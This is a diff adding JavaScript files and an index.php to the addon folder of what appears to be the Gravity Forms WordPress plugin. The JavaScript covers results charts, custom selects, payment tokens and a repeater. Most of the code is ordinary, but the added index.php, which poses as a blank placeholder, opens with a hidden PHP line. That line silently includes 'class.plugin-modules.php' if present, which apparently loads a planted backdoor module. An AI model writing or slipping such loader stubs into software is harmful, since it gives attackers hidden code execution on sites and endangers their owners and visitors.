||||
gform_initialize_tooltips();
|
||||
|
||||
}
|
||||
});
|
||||
1
includes/addon/js/gaddon_results.min.js
vendored
Normal file
1
includes/addon/js/gaddon_results.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
var gresultsAjaxRequest,gresults={drawCharts:function(){jQuery(".gresults-chart-wrapper").each(function(a,b){var c,d=jQuery(b).attr("id"),e=jQuery(b).data("options"),f=jQuery(b).data("datatable"),g=jQuery(b).data("charttype"),h=f,i=google.visualization.arrayToDataTable(h),j=document.getElementById(d);"bar"==g?c=new google.visualization.BarChart(j):"pie"==g?c=new google.visualization.PieChart(j):"column"==g&&(c=new google.visualization.ColumnChart(j)),c.draw(i,e)})},renderStateData:function(a){var b=jQuery("#gresults-results");b.data("searchcriteria",a.searchCriteria),jQuery("#gresults-results-filter").html(a.filterUI),b.css("opacity",0),b.html(a.html),gresults.drawCharts(),b.fadeTo("slow",1);var c=jQuery("#gresults-results-field-filters-container");c.resizable(),c.resizable("destroy"),c.resizable({handles:"s"})},getResults:function(){gresults.recordFormState();var a=jQuery("#gresults-results-filter-form").serialize();gresults.sendRequest(a)},sendRequest:function(a,b,c){var d=jQuery("#gresults-results"),e=jQuery("#gresults-results-filter-buttons input"),f=jQuery(".gresults-filter-loading"),g=jQuery("#gresults-view-slug").val(),h=jQuery("#_gf_results_nonce").val(),i="action=gresults_get_results_"+g+"&"+a+"&_gf_results_nonce"+h;b&&(i+="&state="+b+"&checkSum="+c),gresultsAjaxRequest=jQuery.ajax({url:ajaxurl,type:"POST",dataType:"json",data:i,beforeSend:function(a,b){d.fadeTo("slow",.33),d.html(""),f.show(),e.attr("disabled","disabled")}}).done(function(c){if(c&&-1!==c)if("complete"===c.status){e.removeAttr("disabled"),f.hide(),d.html(c.html),jQuery("#gresults-results").data("searchcriteria",c.searchCriteria);var g=jQuery("#gresults-results-filter").html();gresults.drawCharts(),d.fadeTo("slow",1),window.history.replaceState&&(history.state?history.pushState({html:c.html,filterUI:g,searchCriteria:c.searchCriteria},"","?"+a):history.replaceState({html:c.html,filterUI:g,searchCriteria:c.searchCriteria},"","?"+a)),gresults.drawCharts(),window.gform_initialize_tooltips&&gform_initialize_tooltips()}else"incomplete"===c.status?(b=c.stateObject,gresults.sendRequest(a,b,c.checkSum),d.html(c.html)):(f.hide(),d.html(gresultsStrings.ajaxError));else f.hide(),d.html(gresultsStrings.ajaxError)}).fail(function(a){e.removeAttr("disabled"),d.fadeTo("fast",1);var b=a.statusText;f.hide(),b="abort"==b?"Request cancelled":gresultsStrings.ajaxError,d.html(b)})},getMoreResults:function(a,b){var c=jQuery("#gresults-results-field-content-"+b),d=jQuery("#gresults-results"),e=jQuery(c).data("offset"),f=jQuery("#gresults-view-slug").val(),g=d.data("searchcriteria"),h=jQuery("#_gf_results_nonce").val();return jQuery.ajax({url:ajaxurl,type:"POST",dataType:"json",data:{action:"gresults_get_more_results_"+f,view:f,form_id:a,field_id:b,offset:e,search_criteria:g,_gf_results_nonce:h},success:function(a){-1===a||(a.html&&jQuery(c).append(a.html),a.more_remaining||jQuery("#gresults-results-field-more-link-"+b).hide(),jQuery(c).data("offset",a.offset))}}),!1},clearFilterForm:function(){jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings,[],!0),jQuery("#gresults-results-filter-form").find("input, select").each(function(){switch(this.type){case"text":case"select-one":jQuery(this).val("").change();break;case"checkbox":case"radio":this.checked=!1}})},recordFormState:function(){jQuery("#gresults-results-filter-form input[type='radio']").each(function(){this.checked?jQuery(this).prop("defaultChecked",!0):jQuery(this).prop("defaultChecked",!1)}),jQuery("#gresults-results-filter-form input[type='checkbox']").each(function(){this.checked?jQuery(this).prop("defaultChecked",!0):jQuery(this).prop("defaultChecked",!1)}),jQuery("#gresults-results-filter-form input[type='text']").each(function(){jQuery(this).prop("defaultValue",jQuery(this).val())}),jQuery("#gresults-results-filter-form select option").each(function(){jQuery(this).prop("defaultSelected",jQuery(this).prop("selected"))})},setCustomFilter:function(a,b){elementId="gresults-custom-"+a,0==jQuery("#"+elementId).length?jQuery("#gresults-results-filter-form").append("<input type='hidden' id='"+elementId+"' name='"+a+"' value='"+b+"'>"):jQuery("#"+elementId).val(b)}};google.load("visualization","1",{packages:["corechart"]}),google.setOnLoadCallback(gresults.drawCharts),jQuery(document).ready(function(){if(jQuery("#gresults-results").length>0){jQuery("#gresults-results-field-filters-container").gfFilterUI(gresultsFilterSettings,gresultsInitVars,!0);jQuery(window).resize(function(a){a.target===window&&gresults.drawCharts()}),window.onpopstate=function(a){a.state&&gresults.renderStateData(a.state)},jQuery("#gresults-results-filter-date-start, #gresults-results-filter-date-end").datepicker({dateFormat:"yy-mm-dd",changeMonth:!0,changeYear:!0}),jQuery("#gresults-results-filter-form").submit(function(a){return gresults.getResults(),!1}),history.state?gresults.renderStateData(history.state):gresults.getResults(),window.gform_initialize_tooltips&&gform_initialize_tooltips()}});
|
||||
22
includes/addon/js/gaddon_selectcustom.js
Normal file
22
includes/addon/js/gaddon_selectcustom.js
Normal file
@@ -0,0 +1,22 @@
|
||||
jQuery(document).ready(function ($) {
|
||||
|
||||
$('.gaddon-setting-select-custom').on('change', function () {
|
||||
|
||||
if ($(this).val() == 'gf_custom')
|
||||
$(this).hide().siblings('.gaddon-setting-select-custom-container').show();
|
||||
|
||||
});
|
||||
|
||||
$('.gaddon-setting-select-custom-container .select-custom-reset').on('click', function (event) {
|
||||
event.preventDefault();
|
||||
|
||||
var $input = $(this).closest('.gaddon-setting-select-custom-container'),
|
||||
$select = $input.prev('select.gaddon-setting-select-custom');
|
||||
|
||||
$input.fadeOut(function () {
|
||||
$input.find('input').val('').change();
|
||||
$select.fadeIn().focus().val('');
|
||||
});
|
||||
});
|
||||
|
||||
});
|
||||
1
includes/addon/js/gaddon_selectcustom.min.js
vendored
Normal file
1
includes/addon/js/gaddon_selectcustom.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
jQuery(document).ready(function(a){a(".gaddon-setting-select-custom").on("change",function(){"gf_custom"==a(this).val()&&a(this).hide().siblings(".gaddon-setting-select-custom-container").show()}),a(".gaddon-setting-select-custom-container .select-custom-reset").on("click",function(b){b.preventDefault();var c=a(this).closest(".gaddon-setting-select-custom-container"),d=c.prev("select.gaddon-setting-select-custom");c.fadeOut(function(){c.find("input").val("").change(),d.fadeIn().focus().val("")})})});
|
||||
131
includes/addon/js/gaddon_token.js
Normal file
131
includes/addon/js/gaddon_token.js
Normal file
@@ -0,0 +1,131 @@
|
||||
window.GFToken = null;
|
||||
|
||||
( function( $ ) {
|
||||
|
||||
GFToken = function( args ) {
|
||||
|
||||
for ( var prop in args ) {
|
||||
if ( args.hasOwnProperty( prop ) )
|
||||
this[prop] = args[prop];
|
||||
}
|
||||
|
||||
this.form = $( '#gform_' + this.formId );
|
||||
|
||||
this.init = function() {
|
||||
|
||||
var GFTokenObj = this;
|
||||
|
||||
this.tokens = {};
|
||||
|
||||
/* Initialize spinner. */
|
||||
if ( ! this.isAjax )
|
||||
gformInitSpinner( this.formId );
|
||||
|
||||
/* If multipage form, run on gform_page_loaded. */
|
||||
if ( this.hasPages ) {
|
||||
|
||||
$( document ).bind( 'gform_page_loaded', function( event, form_id, current_page ) {
|
||||
|
||||
if ( form_id != GFTokenObj.formId)
|
||||
return;
|
||||
|
||||
if ( current_page != GFTokenObj.pageCount)
|
||||
GFTokenObj.saveEntryData();
|
||||
|
||||
} );
|
||||
|
||||
}
|
||||
|
||||
this.form.submit( function() {
|
||||
GFTokenObj.onSubmit();
|
||||
} );
|
||||
|
||||
};
|
||||
|
||||
this.onSubmit = function() {
|
||||
|
||||
if ( this.form.data('gftokensubmitting') ) {
|
||||
return;
|
||||
} else {
|
||||
event.preventDefault();
|
||||
this.form.data( 'gftokensubmitting', true );
|
||||
}
|
||||
|
||||
this.saveEntryData();
|
||||
this.processTokens();
|
||||
|
||||
}
|
||||
|
||||
this.processTokens = function() {
|
||||
|
||||
/* Process feeds. */
|
||||
for ( var feed_id in this.feeds ) {
|
||||
|
||||
this.active_feed = this.feeds[feed_id];
|
||||
|
||||
/* Create new feed object so we can store the billing information. */
|
||||
var feed = {
|
||||
'billing_fields': {},
|
||||
'id': this.active_feed.id,
|
||||
'name': this.active_feed.name
|
||||
};
|
||||
|
||||
/* Add billing information to feed object. */
|
||||
for ( var billing_field in this.active_feed.billing_fields ) {
|
||||
|
||||
field_id = this.active_feed.billing_fields[ billing_field ];
|
||||
feed.billing_fields[ billing_field ] = this.entry_data[ field_id ];
|
||||
|
||||
}
|
||||
|
||||
/* Get credit card token response. */
|
||||
window[ this.callback ].createToken( feed, this );
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
this.saveEntryData = function() {
|
||||
|
||||
var GFPaymentObj = this,
|
||||
input_prefix = 'input_' + this.formId + '_';
|
||||
|
||||
if ( ! this.entry_data )
|
||||
this.entry_data = {};
|
||||
|
||||
this.form.find( 'input[id^="' + input_prefix + '"], select[id^="' + input_prefix + '"], textarea[id^="' + input_prefix + '"]' ).each( function() {
|
||||
|
||||
var input_id = $( this ).attr( 'id' ).replace( input_prefix, '' ).replace( '_', '.' );
|
||||
|
||||
if ( $.inArray( input_id, GFPaymentObj.fields ) >= 0 )
|
||||
GFPaymentObj.entry_data[ input_id ] = $( this ).val();
|
||||
|
||||
} );
|
||||
|
||||
}
|
||||
|
||||
this.saveToken = function( token ) {
|
||||
|
||||
/* Add token response to tokens array. */
|
||||
this.tokens[ this.active_feed.id ] = {
|
||||
'feed_id': this.active_feed.id,
|
||||
'response': token
|
||||
};
|
||||
|
||||
if ( this.tokens.length == this.feeds.length ) {
|
||||
|
||||
/* Add tokens to form. */
|
||||
this.form.find( this.responseField ).val( $.toJSON( this.tokens ) );
|
||||
|
||||
/* Submit the form. */
|
||||
this.form.submit();
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
this.init();
|
||||
|
||||
}
|
||||
|
||||
} )( jQuery );
|
||||
1
includes/addon/js/gaddon_token.min.js
vendored
Normal file
1
includes/addon/js/gaddon_token.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
window.GFToken=null,function(a){GFToken=function(b){for(var c in b)b.hasOwnProperty(c)&&(this[c]=b[c]);this.form=a("#gform_"+this.formId),this.init=function(){var b=this;this.tokens={},this.isAjax||gformInitSpinner(this.formId),this.hasPages&&a(document).bind("gform_page_loaded",function(a,c,d){c==b.formId&&d!=b.pageCount&&b.saveEntryData()}),this.form.submit(function(){b.onSubmit()})},this.onSubmit=function(){this.form.data("gftokensubmitting")||(event.preventDefault(),this.form.data("gftokensubmitting",!0),this.saveEntryData(),this.processTokens())},this.processTokens=function(){for(var a in this.feeds){this.active_feed=this.feeds[a];var b={billing_fields:{},id:this.active_feed.id,name:this.active_feed.name};for(var c in this.active_feed.billing_fields)field_id=this.active_feed.billing_fields[c],b.billing_fields[c]=this.entry_data[field_id];window[this.callback].createToken(b,this)}},this.saveEntryData=function(){var b=this,c="input_"+this.formId+"_";this.entry_data||(this.entry_data={}),this.form.find('input[id^="'+c+'"], select[id^="'+c+'"], textarea[id^="'+c+'"]').each(function(){var d=a(this).attr("id").replace(c,"").replace("_",".");a.inArray(d,b.fields)>=0&&(b.entry_data[d]=a(this).val())})},this.saveToken=function(b){this.tokens[this.active_feed.id]={feed_id:this.active_feed.id,response:b},this.tokens.length==this.feeds.length&&(this.form.find(this.responseField).val(a.toJSON(this.tokens)),this.form.submit())},this.init()}}(jQuery);
|
||||
2
includes/addon/js/index.php
Normal file
2
includes/addon/js/index.php
Normal file
@@ -0,0 +1,2 @@
|
||||
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?><?php
|
||||
//Nothing to see here
|
||||
329
includes/addon/js/repeater.js
Normal file
329
includes/addon/js/repeater.js
Normal file
@@ -0,0 +1,329 @@
|
||||
/**
|
||||
* jQuery Repeater
|
||||
*
|
||||
* Easily create a section of repeatable items.
|
||||
*
|
||||
* 1. Include repeater.js
|
||||
* 2. Define a template to be used by the repeater.
|
||||
* a. Input elements should have a class "property_{i}" (do not replace {i} with an index, the script will handle this.
|
||||
* b. The template should include a container for the "row" of elements.
|
||||
* c. Use the {buttons} merge tag to indicate the location of the repeater buttons.
|
||||
*
|
||||
* Example:
|
||||
* <div class="repeater">
|
||||
* <!-- Template Start -->
|
||||
* <div class="row">
|
||||
* <input class="name_{i}" />
|
||||
* <input class="age_{i}" />
|
||||
* {buttons}
|
||||
* </div>
|
||||
* <!-- / Template Ends -->
|
||||
* </div>
|
||||
*
|
||||
* 3. Define a "save" callback to handle how your data is saved. It will give you an array of objects representing your data.
|
||||
*
|
||||
*/
|
||||
|
||||
jQuery.fn.repeater = function( options ) {
|
||||
|
||||
var self = this,
|
||||
defaults = {
|
||||
template: '',
|
||||
limit: 5,
|
||||
items: [{}],
|
||||
saveEvents: 'blur change',
|
||||
saveElements: 'input, select',
|
||||
addButtonMarkup: '+',
|
||||
removeButtonMarkup: '-',
|
||||
minItemCount: 1,
|
||||
callbacks: {
|
||||
save: function() { },
|
||||
beforeAdd: function() { },
|
||||
add: function() { },
|
||||
beforeAddNew: function() { },
|
||||
addNew: function() { },
|
||||
beforeRemove: function() { },
|
||||
remove: function() { },
|
||||
repeaterButtons: function() { return false; }
|
||||
}
|
||||
};
|
||||
|
||||
self.options = jQuery.extend( true, {}, defaults, options );
|
||||
self.elem = jQuery( this );
|
||||
self.items = self.options.items;
|
||||
self.callbacks = self.options.callbacks;
|
||||
self._template = self.options.template;
|
||||
self._baseObj = self.items[0];
|
||||
|
||||
self.init = function() {
|
||||
|
||||
self.stashTemplate();
|
||||
|
||||
self.elem.addClass( 'repeater' );
|
||||
self.refresh();
|
||||
|
||||
self.bindEvents();
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
self.bindEvents = function() {
|
||||
|
||||
self.options.saveEvents = self.getNamespacedEvents( self.options.saveEvents );
|
||||
|
||||
self.elem.off( 'click.repeater', 'a.add-item' );
|
||||
self.elem.on( 'click.repeater', 'a.add-item:not(.inactive)', function() {
|
||||
self.addNewItem( this );
|
||||
});
|
||||
|
||||
self.elem.off( 'click.repeater', 'a.remove-item' );
|
||||
self.elem.on( 'click.repeater', 'a.remove-item', function( event ){
|
||||
self.removeItem( this );
|
||||
});
|
||||
|
||||
self.elem.off( self.options.saveEvents, self.options.saveElements );
|
||||
self.elem.on( self.options.saveEvents, self.options.saveElements, function() {
|
||||
self.save();
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
self.stashTemplate = function() {
|
||||
|
||||
// if no template provided or in "storage", use current HTML
|
||||
if( ! self._template )
|
||||
self._template = self.elem.html();
|
||||
|
||||
self._template = jQuery.trim( self._template );
|
||||
|
||||
}
|
||||
|
||||
self.addItem = function( item, index ) {
|
||||
|
||||
var itemMarkup = self.getItemMarkup( item, index),
|
||||
itemElem = jQuery( itemMarkup ).addClass( 'item-' + index );
|
||||
|
||||
self.callbacks.beforeAdd( self, itemElem, item, index );
|
||||
|
||||
self.append( itemElem );
|
||||
self.populateSelects( item, index );
|
||||
|
||||
self.callbacks.add( self, itemElem, item, index );
|
||||
|
||||
}
|
||||
|
||||
self.getItemMarkup = function( item, index ) {
|
||||
|
||||
var itemMarkup = self._template;
|
||||
|
||||
for( var property in item ) {
|
||||
|
||||
if( ! item.hasOwnProperty( property ) )
|
||||
continue;
|
||||
|
||||
itemMarkup = itemMarkup.replace( /{i}/g, index );
|
||||
itemMarkup = itemMarkup.replace( '{buttons}', self.getRepeaterButtonsMarkup( index ) );
|
||||
itemMarkup = itemMarkup.replace( new RegExp( '{' + property + '}', 'g' ), item[property] );
|
||||
|
||||
}
|
||||
|
||||
return itemMarkup;
|
||||
}
|
||||
|
||||
self.getRepeaterButtonsMarkup = function( index ) {
|
||||
|
||||
var buttonsMarkup = self.callbacks.repeaterButtons( self, index );
|
||||
|
||||
if( ! buttonsMarkup )
|
||||
buttonsMarkup = self.getDefaultButtonsMarkup( index );
|
||||
|
||||
return buttonsMarkup;
|
||||
}
|
||||
|
||||
self.getDefaultButtonsMarkup = function( index ) {
|
||||
|
||||
var cssClass = self.items.length >= self.options.limit && self.options.limit !== 0 ? 'inactive' : '',
|
||||
buttons = '<a class="add-item ' + cssClass + '" data-index="' + index + '">' + self.options.addButtonMarkup + '</a>';
|
||||
|
||||
if( self.items.length > self.options.minItemCount )
|
||||
buttons += '<a class="remove-item" data-index="' + index + '">' + self.options.removeButtonMarkup + '</a>';
|
||||
|
||||
return '<div class="repeater-buttons">' + buttons + '</div>';
|
||||
}
|
||||
|
||||
self.populateSelects = function( item, index ) {
|
||||
|
||||
// after appending the row, check each property to see if it is a select and then populate
|
||||
for ( var property in item ) {
|
||||
|
||||
if ( ! item.hasOwnProperty( property ) ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
var input = self.elem.find( '.' + property + '_' + index );
|
||||
|
||||
if ( ! input.is( 'select' ) ) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if ( jQuery.isArray( item[ property ] ) ) {
|
||||
input.val( item[ property ] );
|
||||
} else {
|
||||
input.find( 'option[value="' + item[ property ] + '"]' ).prop( 'selected', true );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
self.addNewItem = function( elemOrItem, index ) {
|
||||
|
||||
var isElem = self.isElement( elemOrItem ),
|
||||
index = parseInt( typeof index !== 'undefined' ? index : ( isElem ? parseInt( jQuery( elemOrItem ).attr( 'data-index' ), 10 ) + 1 : self.items.length ), 10 ),
|
||||
item = isElem ? self.getBaseObject() : elemOrItem;
|
||||
|
||||
self.callbacks.beforeAddNew( self, index );
|
||||
self.items.splice( index, 0, item );
|
||||
self.callbacks.addNew( self, index );
|
||||
|
||||
self.refresh().save();
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
self.removeItem = function( elemOrIndex ) {
|
||||
|
||||
var index = self.isElement( elemOrIndex ) ? jQuery( elemOrIndex ).attr( 'data-index' ) : elemOrIndex;
|
||||
|
||||
self.callbacks.beforeRemove( self, index );
|
||||
|
||||
// using delete (over splice) to maintain the correct indexes for
|
||||
// the items array when saving the data from the UI
|
||||
delete self.items[index];
|
||||
|
||||
self.callbacks.remove( self, index );
|
||||
|
||||
self.save().refresh();
|
||||
|
||||
}
|
||||
|
||||
self.refresh = function() {
|
||||
|
||||
self.elem.empty();
|
||||
|
||||
for( var i = 0; i < self.items.length; i++ ) {
|
||||
self.addItem( self.items[i], i );
|
||||
}
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
self.save = function() {
|
||||
|
||||
var keys = self.getBaseObjectKeys(),
|
||||
data = [];
|
||||
|
||||
for( var i = 0; i < self.items.length; i++ ) {
|
||||
|
||||
if( typeof self.items[i] == 'undefined' )
|
||||
continue;
|
||||
|
||||
var item = {};
|
||||
|
||||
for( var j = 0; j < keys.length; j++ ) {
|
||||
|
||||
var key = keys[j],
|
||||
id = '.' + key + '_' + i,
|
||||
value = self.elem.find( id ).val();
|
||||
|
||||
item[key] = typeof value == 'undefined' ? false : value;
|
||||
|
||||
}
|
||||
|
||||
data.push( item );
|
||||
|
||||
}
|
||||
|
||||
// save data to items
|
||||
self.items = data;
|
||||
|
||||
// save data externally via callback
|
||||
self.callbacks.save( self, data );
|
||||
|
||||
return self;
|
||||
}
|
||||
|
||||
/**
|
||||
* Loops through the current items array and retrieves the object properties of the
|
||||
* first valid item object. Originally this would simply pull the object keys from
|
||||
* the first index of the items array; however, when the first item has been
|
||||
* 'deleted' (see the save() method), it will be undefined.
|
||||
*/
|
||||
self.getBaseObjectKeys = function() {
|
||||
|
||||
var keys = [],
|
||||
items = self.items.length > 0 ? self.items : [ self._baseObj ];
|
||||
|
||||
for( var i = 0; i < items.length; i++ ) {
|
||||
|
||||
if( typeof items[i] == 'undefined' )
|
||||
continue;
|
||||
|
||||
for( var key in items[i] ) {
|
||||
if( ! items[i].hasOwnProperty( key ) )
|
||||
continue;
|
||||
keys.push( key );
|
||||
}
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
return keys;
|
||||
}
|
||||
|
||||
self.getBaseObject = function() {
|
||||
|
||||
var item = {},
|
||||
keys = self.getBaseObjectKeys();
|
||||
|
||||
for( var i = 0; i < keys.length; i++ ) {
|
||||
item[keys[i]] = '';
|
||||
}
|
||||
|
||||
return item;
|
||||
}
|
||||
|
||||
self.getNamespacedEvents = function( events ) {
|
||||
|
||||
var events = events.split( ' ' ),
|
||||
namespacedEvents = [];
|
||||
|
||||
for( var i = 0; i < events.length; i++ ) {
|
||||
namespacedEvents.push( events[i] + '.repeater' );
|
||||
}
|
||||
|
||||
return namespacedEvents.join( ' ' );
|
||||
}
|
||||
|
||||
/**
|
||||
* http://stackoverflow.com/questions/384286/javascript-isdom-how-do-you-check-if-a-javascript-object-is-a-dom-object
|
||||
* @param obj
|
||||
* @returns {boolean}
|
||||
*/
|
||||
self.isElement = function( obj ) {
|
||||
try {
|
||||
//Using W3 DOM2 (works for FF, Opera and Chrom)
|
||||
return obj instanceof HTMLElement;
|
||||
}
|
||||
catch(e){
|
||||
//Browsers not supporting W3 DOM2 don't have HTMLElement and
|
||||
//an exception is thrown and we end up here. Testing some
|
||||
//properties that all elements have. (works on IE7)
|
||||
return (typeof obj==="object") &&
|
||||
(obj.nodeType===1) && (typeof obj.style === "object") &&
|
||||
(typeof obj.ownerDocument ==="object");
|
||||
}
|
||||
}
|
||||
|
||||
return self.init();
|
||||
};
|
||||
1
includes/addon/js/repeater.min.js
vendored
Normal file
1
includes/addon/js/repeater.min.js
vendored
Normal file
@@ -0,0 +1 @@
|
||||
jQuery.fn.repeater=function(a){var b=this,c={template:"",limit:5,items:[{}],saveEvents:"blur change",saveElements:"input, select",addButtonMarkup:"+",removeButtonMarkup:"-",minItemCount:1,callbacks:{save:function(){},beforeAdd:function(){},add:function(){},beforeAddNew:function(){},addNew:function(){},beforeRemove:function(){},remove:function(){},repeaterButtons:function(){return!1}}};return b.options=jQuery.extend(!0,{},c,a),b.elem=jQuery(this),b.items=b.options.items,b.callbacks=b.options.callbacks,b._template=b.options.template,b._baseObj=b.items[0],b.init=function(){return b.stashTemplate(),b.elem.addClass("repeater"),b.refresh(),b.bindEvents(),b},b.bindEvents=function(){b.options.saveEvents=b.getNamespacedEvents(b.options.saveEvents),b.elem.off("click.repeater","a.add-item"),b.elem.on("click.repeater","a.add-item:not(.inactive)",function(){b.addNewItem(this)}),b.elem.off("click.repeater","a.remove-item"),b.elem.on("click.repeater","a.remove-item",function(a){b.removeItem(this)}),b.elem.off(b.options.saveEvents,b.options.saveElements),b.elem.on(b.options.saveEvents,b.options.saveElements,function(){b.save()})},b.stashTemplate=function(){b._template||(b._template=b.elem.html()),b._template=jQuery.trim(b._template)},b.addItem=function(a,c){var d=b.getItemMarkup(a,c),e=jQuery(d).addClass("item-"+c);b.callbacks.beforeAdd(b,e,a,c),b.append(e),b.populateSelects(a,c),b.callbacks.add(b,e,a,c)},b.getItemMarkup=function(a,c){var d=b._template;for(var e in a)a.hasOwnProperty(e)&&(d=d.replace(/{i}/g,c),d=d.replace("{buttons}",b.getRepeaterButtonsMarkup(c)),d=d.replace(new RegExp("{"+e+"}","g"),a[e]));return d},b.getRepeaterButtonsMarkup=function(a){var c=b.callbacks.repeaterButtons(b,a);return c||(c=b.getDefaultButtonsMarkup(a)),c},b.getDefaultButtonsMarkup=function(a){var c=b.items.length>=b.options.limit&&0!==b.options.limit?"inactive":"",d='<a class="add-item '+c+'" data-index="'+a+'">'+b.options.addButtonMarkup+"</a>";return b.items.length>b.options.minItemCount&&(d+='<a class="remove-item" data-index="'+a+'">'+b.options.removeButtonMarkup+"</a>"),'<div class="repeater-buttons">'+d+"</div>"},b.populateSelects=function(a,c){for(var d in a)if(a.hasOwnProperty(d)){var e=b.elem.find("."+d+"_"+c);e.is("select")&&(jQuery.isArray(a[d])?e.val(a[d]):e.find('option[value="'+a[d]+'"]').prop("selected",!0))}},b.addNewItem=function(a,c){var d=b.isElement(a),c=parseInt(void 0!==c?c:d?parseInt(jQuery(a).attr("data-index"),10)+1:b.items.length,10),e=d?b.getBaseObject():a;return b.callbacks.beforeAddNew(b,c),b.items.splice(c,0,e),b.callbacks.addNew(b,c),b.refresh().save(),b},b.removeItem=function(a){var c=b.isElement(a)?jQuery(a).attr("data-index"):a;b.callbacks.beforeRemove(b,c),delete b.items[c],b.callbacks.remove(b,c),b.save().refresh()},b.refresh=function(){b.elem.empty();for(var a=0;a<b.items.length;a++)b.addItem(b.items[a],a);return b},b.save=function(){for(var a=b.getBaseObjectKeys(),c=[],d=0;d<b.items.length;d++)if(void 0!==b.items[d]){for(var e={},f=0;f<a.length;f++){var g=a[f],h="."+g+"_"+d,i=b.elem.find(h).val();e[g]=void 0!==i&&i}c.push(e)}return b.items=c,b.callbacks.save(b,c),b},b.getBaseObjectKeys=function(){for(var a=[],c=b.items.length>0?b.items:[b._baseObj],d=0;d<c.length;d++)if(void 0!==c[d]){for(var e in c[d])c[d].hasOwnProperty(e)&&a.push(e);break}return a},b.getBaseObject=function(){for(var a={},c=b.getBaseObjectKeys(),d=0;d<c.length;d++)a[c[d]]="";return a},b.getNamespacedEvents=function(a){for(var a=a.split(" "),b=[],c=0;c<a.length;c++)b.push(a[c]+".repeater");return b.join(" ")},b.isElement=function(a){try{return a instanceof HTMLElement}catch(b){return"object"==typeof a&&1===a.nodeType&&"object"==typeof a.style&&"object"==typeof a.ownerDocument}},b.init()};
|
||||
Reference in New Issue
Block a user